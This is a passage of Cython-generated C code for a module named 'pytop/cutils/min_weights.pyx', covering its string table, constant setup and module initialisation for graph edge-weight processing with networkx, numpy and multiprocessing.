sizeof(__pyx_k_DEBUG), 0, 0, 1, 1}, {&__pyx_n_s_EPSILON, __pyx_k_EPSILON, sizeof(__pyx_k_EPSILON), 0, 0, 1, 1}, {&__pyx_n_s_Formatter, __pyx_k_Formatter, sizeof(__pyx_k_Formatter), 0, 0, 1, 1}, {&__pyx_n_s_INFO, __pyx_k_INFO, sizeof(__pyx_k_INFO), 0, 0, 1, 1}, {&__pyx_n_s_Logger, __pyx_k_Logger, sizeof(__pyx_k_Logger), 0, 0, 1, 1}, {&__pyx_n_s_Pool, __pyx_k_Pool, sizeof(__pyx_k_Pool), 0, 0, 1, 1}, {&__pyx_n_s_Processor, __pyx_k_Processor, sizeof(__pyx_k_Processor), 0, 0, 1, 1}, {&__pyx_n_s_Processor___init, __pyx_k_Processor___init, sizeof(__pyx_k_Processor___init), 0, 0, 1, 1}, {&__pyx_n_s_Processor_save_weights, __pyx_k_Processor_save_weights, sizeof(__pyx_k_Processor_save_weights), 0, 0, 1, 1}, {&__pyx_n_s_Processor_softmax, __pyx_k_Processor_softmax, sizeof(__pyx_k_Processor_softmax), 0, 0, 1, 1}, {&__pyx_n_s_RotatingFileHandler, __pyx_k_RotatingFileHandler, sizeof(__pyx_k_RotatingFileHandler), 0, 0, 1, 1}, {&__pyx_n_s_WU, __pyx_k_WU, sizeof(__pyx_k_WU), 0, 0, 1, 1}, {&__pyx_n_s__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 0, 1, 1}, {&__pyx_kp_s__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 0, 1, 0}, {&__pyx_n_s__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 0, 1, 1}, {&__pyx_n_s_addHandler, __pyx_k_addHandler, sizeof(__pyx_k_addHandler), 0, 0, 1, 1}, {&__pyx_n_s_add_min_weights_to_data, __pyx_k_add_min_weights_to_data, sizeof(__pyx_k_add_min_weights_to_data), 0, 0, 1, 1}, {&__pyx_n_s_add_min_weights_to_data_locals_s, __pyx_k_add_min_weights_to_data_locals_s, sizeof(__pyx_k_add_min_weights_to_data_locals_s), 0, 0, 1, 1}, {&__pyx_n_s_arange, __pyx_k_arange, sizeof(__pyx_k_arange), 0, 0, 1, 1}, {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, {&__pyx_kp_s_asctime_s_name_s_levelname_s_me, __pyx_k_asctime_s_name_s_levelname_s_me, sizeof(__pyx_k_asctime_s_name_s_levelname_s_me), 0, 0, 1, 0}, {&__pyx_n_s_backupCount, __pyx_k_backupCount, sizeof(__pyx_k_backupCount), 0, 0, 1, 1}, {&__pyx_n_s_chunk_size, __pyx_k_chunk_size, sizeof(__pyx_k_chunk_size), 0, 0, 1, 1}, {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, {&__pyx_n_s_concatenate, __pyx_k_concatenate, sizeof(__pyx_k_concatenate), 0, 0, 1, 1}, {&__pyx_n_s_create_logger, __pyx_k_create_logger, sizeof(__pyx_k_create_logger), 0, 0, 1, 1}, {&__pyx_n_s_current_process, __pyx_k_current_process, sizeof(__pyx_k_current_process), 0, 0, 1, 1}, {&__pyx_n_s_d, __pyx_k_d, sizeof(__pyx_k_d), 0, 0, 1, 1}, {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, {&__pyx_n_s_delta_w, __pyx_k_delta_w, sizeof(__pyx_k_delta_w), 0, 0, 1, 1}, {&__pyx_n_s_distance, __pyx_k_distance, sizeof(__pyx_k_distance), 0, 0, 1, 1}, {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, {&__pyx_n_s_edge_distances, __pyx_k_edge_distances, sizeof(__pyx_k_edge_distances), 0, 0, 1, 1}, {&__pyx_n_s_edges, __pyx_k_edges, sizeof(__pyx_k_edges), 0, 0, 1, 1}, {&__pyx_n_s_encode, __pyx_k_encode, sizeof(__pyx_k_encode), 0, 0, 1, 1}, {&__pyx_n_s_enter, __pyx_k_enter, sizeof(__pyx_k_enter), 0, 0, 1, 1}, {&__pyx_n_s_enumerate, __pyx_k_enumerate, sizeof(__pyx_k_enumerate), 0, 0, 1, 1}, {&__pyx_n_s_ep, __pyx_k_ep, sizeof(__pyx_k_ep), 0, 0, 1, 1}, {&__pyx_n_s_es, __pyx_k_es, sizeof(__pyx_k_es), 0, 0, 1, 1}, {&__pyx_n_s_exist_ok, __pyx_k_exist_ok, sizeof(__pyx_k_exist_ok), 0, 0, 1, 1}, {&__pyx_n_s_exit, __pyx_k_exit, sizeof(__pyx_k_exit), 0, 0, 1, 1}, {&__pyx_n_s_exp, __pyx_k_exp, sizeof(__pyx_k_exp), 0, 0, 1, 1}, {&__pyx_n_s_file_handler, __pyx_k_file_handler, sizeof(__pyx_k_file_handler), 0, 0, 1, 1}, {&__pyx_n_s_file_logger, __pyx_k_file_logger, sizeof(__pyx_k_file_logger), 0, 0, 1, 1}, {&__pyx_n_s_file_path, __pyx_k_file_path, sizeof(__pyx_k_file_path), 0, 0, 1, 1}, {&__pyx_n_s_format, __pyx_k_format, sizeof(__pyx_k_format), 0, 0, 1, 1}, {&__pyx_n_s_formatter, __pyx_k_formatter, sizeof(__pyx_k_formatter), 0, 0, 1, 1}, {&__pyx_n_s_g, __pyx_k_g, sizeof(__pyx_k_g), 0, 0, 1, 1}, {&__pyx_n_s_getLogger, __pyx_k_getLogger, sizeof(__pyx_k_getLogger), 0, 0, 1, 1}, {&__pyx_n_s_get_min_edge_weights, __pyx_k_get_min_edge_weights, sizeof(__pyx_k_get_min_edge_weights), 0, 0, 1, 1}, {&__pyx_kp_s_gpickle, __pyx_k_gpickle, sizeof(__pyx_k_gpickle), 0, 0, 1, 0}, {&__pyx_n_s_graph, __pyx_k_graph, sizeof(__pyx_k_graph), 0, 0, 1, 1}, {&__pyx_n_s_handlers, __pyx_k_handlers, sizeof(__pyx_k_handlers), 0, 0, 1, 1}, {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, {&__pyx_n_s_idxs, __pyx_k_idxs, sizeof(__pyx_k_idxs), 0, 0, 1, 1}, {&__pyx_n_s_imap_unordered, __pyx_k_imap_unordered, sizeof(__pyx_k_imap_unordered), 0, 0, 1, 1}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_n_s_inf, __pyx_k_inf, sizeof(__pyx_k_inf), 0, 0, 1, 1}, {&__pyx_n_s_init, __pyx_k_init, sizeof(__pyx_k_init), 0, 0, 1, 1}, {&__pyx_n_s_j, __pyx_k_j, sizeof(__pyx_k_j), 0, 0, 1, 1}, {&__pyx_n_s_join, __pyx_k_join, sizeof(__pyx_k_join), 0, 0, 1, 1}, {&__pyx_n_s_l, __pyx_k_l, sizeof(__pyx_k_l), 0, 0, 1, 1}, {&__pyx_n_s_likelihoods, __pyx_k_likelihoods, sizeof(__pyx_k_likelihoods), 0, 0, 1, 1}, {&__pyx_n_s_logging, __pyx_k_logging, sizeof(__pyx_k_logging), 0, 0, 1, 1}, {&__pyx_n_s_logging_handlers, __pyx_k_logging_handlers, sizeof(__pyx_k_logging_handlers), 0, 0, 1, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_makedirs, __pyx_k_makedirs, sizeof(__pyx_k_makedirs), 0, 0, 1, 1}, {&__pyx_n_s_max, __pyx_k_max, sizeof(__pyx_k_max), 0, 0, 1, 1}, {&__pyx_n_s_maxBytes, __pyx_k_maxBytes, sizeof(__pyx_k_maxBytes), 0, 0, 1, 1}, {&__pyx_n_s_max_neighbor_w, __pyx_k_max_neighbor_w, sizeof(__pyx_k_max_neighbor_w), 0, 0, 1, 1}, {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, {&__pyx_n_s_min, __pyx_k_min, sizeof(__pyx_k_min), 0, 0, 1, 1}, {&__pyx_n_s_min_edge_weights, __pyx_k_min_edge_weights, sizeof(__pyx_k_min_edge_weights), 0, 0, 1, 1}, {&__pyx_n_s_min_neighbor_w, __pyx_k_min_neighbor_w, sizeof(__pyx_k_min_neighbor_w), 0, 0, 1, 1}, {&__pyx_n_s_minmax_inter, __pyx_k_minmax_inter, sizeof(__pyx_k_minmax_inter), 0, 0, 1, 1}, {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, {&__pyx_n_s_multiprocessing, __pyx_k_multiprocessing, sizeof(__pyx_k_multiprocessing), 0, 0, 1, 1}, {&__pyx_n_s_n_graphs, __pyx_k_n_graphs, sizeof(__pyx_k_n_graphs), 0, 0, 1, 1}, {&__pyx_n_s_n_threads, __pyx_k_n_threads, sizeof(__pyx_k_n_threads), 0, 0, 1, 1}, {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, {&__pyx_n_s_name_2, __pyx_k_name_2, sizeof(__pyx_k_name_2), 0, 0, 1, 1}, {&__pyx_n_s_names, __pyx_k_names, sizeof(__pyx_k_names), 0, 0, 1, 1}, {&__pyx_n_s_neighbor_weights, __pyx_k_neighbor_weights, sizeof(__pyx_k_neighbor_weights), 0, 0, 1, 1}, {&__pyx_n_s_neighbors, __pyx_k_neighbors, sizeof(__pyx_k_neighbors), 0, 0, 1, 1}, {&__pyx_n_s_networkx, __pyx_k_networkx, sizeof(__pyx_k_networkx), 0, 0, 1, 1}, {&__pyx_n_s_nodes, __pyx_k_nodes, sizeof(__pyx_k_nodes), 0, 0, 1, 1}, {&__pyx_n_s_np, __pyx_k_np, sizeof(__pyx_k_np), 0, 0, 1, 1}, {&__pyx_n_s_num_of_nodes, __pyx_k_num_of_nodes, sizeof(__pyx_k_num_of_nodes), 0, 0, 1, 1}, {&__pyx_n_s_number_of_nodes, __pyx_k_number_of_nodes, sizeof(__pyx_k_number_of_nodes), 0, 0, 1, 1}, {&__pyx_n_s_numpy, __pyx_k_numpy, sizeof(__pyx_k_numpy), 0, 0, 1, 1}, {&__pyx_n_s_nx, __pyx_k_nx, sizeof(__pyx_k_nx), 0, 0, 1, 1}, {&__pyx_n_s_os, __pyx_k_os, sizeof(__pyx_k_os), 0, 0, 1, 1}, {&__pyx_n_s_p, __pyx_k_p, sizeof(__pyx_k_p), 0, 0, 1, 1}, {&__pyx_n_s_parser, __pyx_k_parser, sizeof(__pyx_k_parser), 0, 0, 1, 1}, {&__pyx_n_s_path, __pyx_k_path, sizeof(__pyx_k_path), 0, 0, 1, 1}, {&__pyx_n_s_pool, __pyx_k_pool, sizeof(__pyx_k_pool), 0, 0, 1, 1}, {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, {&__pyx_n_s_prob, __pyx_k_prob, sizeof(__pyx_k_prob), 0, 0, 1, 1}, {&__pyx_n_s_pytop_cutils_min_weights, __pyx_k_pytop_cutils_min_weights, sizeof(__pyx_k_pytop_cutils_min_weights), 0, 0, 1, 1}, {&__pyx_kp_s_pytop_cutils_min_weights_pyx, __pyx_k_pytop_cutils_min_weights_pyx, sizeof(__pyx_k_pytop_cutils_min_weights_pyx), 0, 0, 1, 0}, {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, {&__pyx_n_s_raw_w, __pyx_k_raw_w, sizeof(__pyx_k_raw_w), 0, 0, 1, 1}, {&__pyx_n_s_read_gpickle, __pyx_k_read_gpickle, sizeof(__pyx_k_read_gpickle), 0, 0, 1, 1}, {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, {&__pyx_n_s_s, __pyx_k_s, sizeof(__pyx_k_s), 0, 0, 1, 1}, {&__pyx_n_s_save_path, __pyx_k_save_path, sizeof(__pyx_k_save_path), 0, 0, 1, 1}, {&__pyx_n_s_save_weights, __pyx_k_save_weights, sizeof(__pyx_k_save_weights), 0, 0, 1, 1}, {&__pyx_n_s_self, __pyx_k_self, sizeof(__pyx_k_self), 0, 0, 1, 1}, {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, {&__pyx_n_s_setFormatter, __pyx_k_setFormatter, sizeof(__pyx_k_setFormatter), 0, 0, 1, 1}, {&__pyx_n_s_setLevel, __pyx_k_setLevel, sizeof(__pyx_k_setLevel), 0, 0, 1, 1}, {&__pyx_n_s_slice_gen, __pyx_k_slice_gen, sizeof(__pyx_k_slice_gen), 0, 0, 1, 1}, {&__pyx_n_s_slicer, __pyx_k_slicer, sizeof(__pyx_k_slicer), 0, 0, 1, 1}, {&__pyx_n_s_softmax, __pyx_k_softmax, sizeof(__pyx_k_softmax), 0, 0, 1, 1}, {&__pyx_n_s_source_path, __pyx_k_source_path, sizeof(__pyx_k_source_path), 0, 0, 1, 1}, {&__pyx_n_s_sum, __pyx_k_sum, sizeof(__pyx_k_sum), 0, 0, 1, 1}, {&__pyx_n_s_target, __pyx_k_target, sizeof(__pyx_k_target), 0, 0, 1, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, {&__pyx_n_s_to_undirected, __pyx_k_to_undirected, sizeof(__pyx_k_to_undirected), 0, 0, 1, 1}, {&__pyx_n_s_w, __pyx_k_w, sizeof(__pyx_k_w), 0, 0, 1, 1}, {&__pyx_n_s_write_gpickle, __pyx_k_write_gpickle, sizeof(__pyx_k_write_gpickle), 0, 0, 1, 1}, {&__pyx_n_s_zip, __pyx_k_zip, sizeof(__pyx_k_zip), 0, 0, 1, 1}, {0, 0, 0, 0, 0, 0, 0} }; static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 44, __pyx_L1_error) __pyx_builtin_min = __Pyx_GetBuiltinName(__pyx_n_s_min); if (!__pyx_builtin_min) __PYX_ERR(0, 94, __pyx_L1_error) __pyx_builtin_max = __Pyx_GetBuiltinName(__pyx_n_s_max); if (!__pyx_builtin_max) __PYX_ERR(0, 95, __pyx_L1_error) __pyx_builtin_enumerate = __Pyx_GetBuiltinName(__pyx_n_s_enumerate); if (!__pyx_builtin_enumerate) __PYX_ERR(0, 96, __pyx_L1_error) __pyx_builtin_zip = __Pyx_GetBuiltinName(__pyx_n_s_zip); if (!__pyx_builtin_zip) __PYX_ERR(0, 103, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "pytop/cutils/min_weights.pyx":62 * * class Processor(): * def __init__(self, source_path, save_path, n_threads, minmax_inter=(0, 3.8)): # <<<<<<<<<<<<<< * self.save_path = save_path * self.source_path = source_path */ __pyx_tuple_ = PyTuple_Pack(2, __pyx_int_0, __pyx_float_3_8); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple_); __Pyx_GIVEREF(__pyx_tuple_); /* "pytop/cutils/min_weights.pyx":116 * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): * def slice_gen(): # <<<<<<<<<<<<<< * chunk_size = n_graphs // (n_threads * 4) * if chunk_size == 0: */ __pyx_tuple__3 = PyTuple_Pack(3, __pyx_n_s_chunk_size, __pyx_n_s_idxs, __pyx_n_s_i); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); __pyx_codeobj__4 = (PyObject*)__Pyx_PyCode_New(0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__3, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_pytop_cutils_min_weights_pyx, __pyx_n_s_slice_gen, 116, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__4)) __PYX_ERR(0, 116, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":128 * slicer = slice_gen() * parser = Processor(source_path, save_path, n_threads) * with Pool(n_threads) as pool: # <<<<<<<<<<<<<< * for _ in pool.imap_unordered(parser.save_weights, slicer): * continue */ __pyx_tuple__5 = PyTuple_Pack(3, Py_None, Py_None, Py_None); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__5); __Pyx_GIVEREF(__pyx_tuple__5); /* "pytop/cutils/min_weights.pyx":23 * * * def create_logger(file_path): # <<<<<<<<<<<<<< * formatter = logging.Formatter( * "%(asctime)s - %(name)s - %(levelname)s - %(message)s" */ __pyx_tuple__7 = PyTuple_Pack(4, __pyx_n_s_file_path, __pyx_n_s_formatter, __pyx_n_s_file_logger, __pyx_n_s_file_handler); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__7); __Pyx_GIVEREF(__pyx_tuple__7); __pyx_codeobj__8 = (PyObject*)__Pyx_PyCode_New(1, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__7, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_pytop_cutils_min_weights_pyx, __pyx_n_s_create_logger, 23, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__8)) __PYX_ERR(0, 23, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":38 * * * def get_min_edge_weights(object g, int target): # <<<<<<<<<<<<<< * cdef int num_of_nodes = g.number_of_nodes() * cdef vector[vector[float]] WU */ __pyx_tuple__9 = PyTuple_Pack(13, __pyx_n_s_g, __pyx_n_s_target, __pyx_n_s_num_of_nodes, __pyx_n_s_WU, __pyx_n_s_row, __pyx_n_s_edge_distances, __pyx_n_s_i, __pyx_n_s_j, __pyx_n_s_ep, __pyx_n_s_es, __pyx_n_s_d, __pyx_n_s_p, __pyx_n_s_s); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__9); __Pyx_GIVEREF(__pyx_tuple__9); __pyx_codeobj__10 = (PyObject*)__Pyx_PyCode_New(2, 0, 13, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__9, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_pytop_cutils_min_weights_pyx, __pyx_n_s_get_min_edge_weights, 38, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__10)) __PYX_ERR(0, 38, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":62 * * class Processor(): * def __init__(self, source_path, save_path, n_threads, minmax_inter=(0, 3.8)): # <<<<<<<<<<<<<< * self.save_path = save_path * self.source_path = source_path */ __pyx_tuple__11 = PyTuple_Pack(5, __pyx_n_s_self, __pyx_n_s_source_path, __pyx_n_s_save_path, __pyx_n_s_n_threads, __pyx_n_s_minmax_inter); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__11); __Pyx_GIVEREF(__pyx_tuple__11); __pyx_codeobj__12 = (PyObject*)__Pyx_PyCode_New(5, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__11, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_pytop_cutils_min_weights_pyx, __pyx_n_s_init, 62, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__12)) __PYX_ERR(0, 62, __pyx_L1_error) __pyx_tuple__13 = PyTuple_Pack(1, ((PyObject*)__pyx_tuple_)); if (unlikely(!__pyx_tuple__13)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__13); __Pyx_GIVEREF(__pyx_tuple__13); /* "pytop/cutils/min_weights.pyx":72 * # self.log_files[i] = create_logger(os.path.join(dir_name, "{}.log".format(i))) * * def softmax(self, neighbor_weights): # <<<<<<<<<<<<<< * exp = np.exp(neighbor_weights) * return exp / exp.sum() */ __pyx_tuple__14 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_neighbor_weights, __pyx_n_s_exp); if (unlikely(!__pyx_tuple__14)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__14); __Pyx_GIVEREF(__pyx_tuple__14); __pyx_codeobj__15 = (PyObject*)__Pyx_PyCode_New(2, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__14, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_pytop_cutils_min_weights_pyx, __pyx_n_s_softmax, 72, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__15)) __PYX_ERR(0, 72, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":76 * return exp / exp.sum() * * def save_weights(self, names): # <<<<<<<<<<<<<< * names = list(names) * # process_name_id = int(current_process().name.split("-")[-1]) */ __pyx_tuple__16 = PyTuple_Pack(17, __pyx_n_s_self, __pyx_n_s_names, __pyx_n_s_name_2, __pyx_n_s_g, __pyx_n_s_target, __pyx_n_s_min_edge_weights, __pyx_n_s_p, __pyx_n_s_neighbor_weights, __pyx_n_s_neighbors, __pyx_n_s_s, __pyx_n_s_w, __pyx_n_s_min_neighbor_w, __pyx_n_s_max_neighbor_w, __pyx_n_s_i, __pyx_n_s_delta_w, __pyx_n_s_likelihoods, __pyx_n_s_l); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__16); __Pyx_GIVEREF(__pyx_tuple__16); __pyx_codeobj__17 = (PyObject*)__Pyx_PyCode_New(2, 0, 17, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__16, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_pytop_cutils_min_weights_pyx, __pyx_n_s_save_weights, 76, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__17)) __PYX_ERR(0, 76, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":115 * * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): # <<<<<<<<<<<<<< * def slice_gen(): * chunk_size = n_graphs // (n_threads * 4) */ __pyx_tuple__19 = PyTuple_Pack(10, __pyx_n_s_source_path, __pyx_n_s_save_path, __pyx_n_s_n_graphs, __pyx_n_s_n_threads, __pyx_n_s_slice_gen, __pyx_n_s_slice_gen, __pyx_n_s_slicer, __pyx_n_s_parser, __pyx_n_s_pool, __pyx_n_s__18); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__19); __Pyx_GIVEREF(__pyx_tuple__19); __pyx_codeobj__20 = (PyObject*)__Pyx_PyCode_New(4, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__19, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_pytop_cutils_min_weights_pyx, __pyx_n_s_add_min_weights_to_data, 115, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__20)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); __pyx_float_3_8 = PyFloat_FromDouble(3.8); if (unlikely(!__pyx_float_3_8)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_float_1eneg_7 = PyFloat_FromDouble(1e-7); if (unlikely(!__pyx_float_1eneg_7)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_209715200 = PyInt_FromLong(209715200L); if (unlikely(!__pyx_int_209715200)) __PYX_ERR(0, 1, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ static int __Pyx_modinit_global_init_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); /*--- Global init code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_variable_export_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); /*--- Variable export code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_function_export_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); /*--- Function export code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_type_init_code(void) { __Pyx_RefNannyDeclarations int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); /*--- Type init code ---*/ if (PyType_Ready(&__pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data) < 0) __PYX_ERR(0, 115, __pyx_L1_error) #if PY_VERSION_HEX < 0x030800B1 __pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data.tp_print = 0; #endif if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data.tp_dictoffset && __pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data.tp_getattro == PyObject_GenericGetAttr)) { __pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; } __pyx_ptype_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data = &__pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data; if (PyType_Ready(&__pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen) < 0) __PYX_ERR(0, 116, __pyx_L1_error) #if PY_VERSION_HEX < 0x030800B1 __pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen.tp_print = 0; #endif if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen.tp_dictoffset && __pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen.tp_getattro == PyObject_GenericGetAttr)) { __pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; } __pyx_ptype_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen = &__pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen; __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_modinit_type_import_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); /*--- Type import code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_variable_import_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); /*--- Variable import code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_function_import_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); /*--- Function import code ---*/ __Pyx_RefNannyFinishContext(); return 0; } #ifndef CYTHON_NO_PYINIT_EXPORT #define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC #elif PY_MAJOR_VERSION < 3 #ifdef __cplusplus #define __Pyx_PyMODINIT_FUNC extern "C" void #else #define __Pyx_PyMODINIT_FUNC void #endif #else #ifdef __cplusplus #define __Pyx_PyMODINIT_FUNC extern "C" PyObject * #else #define 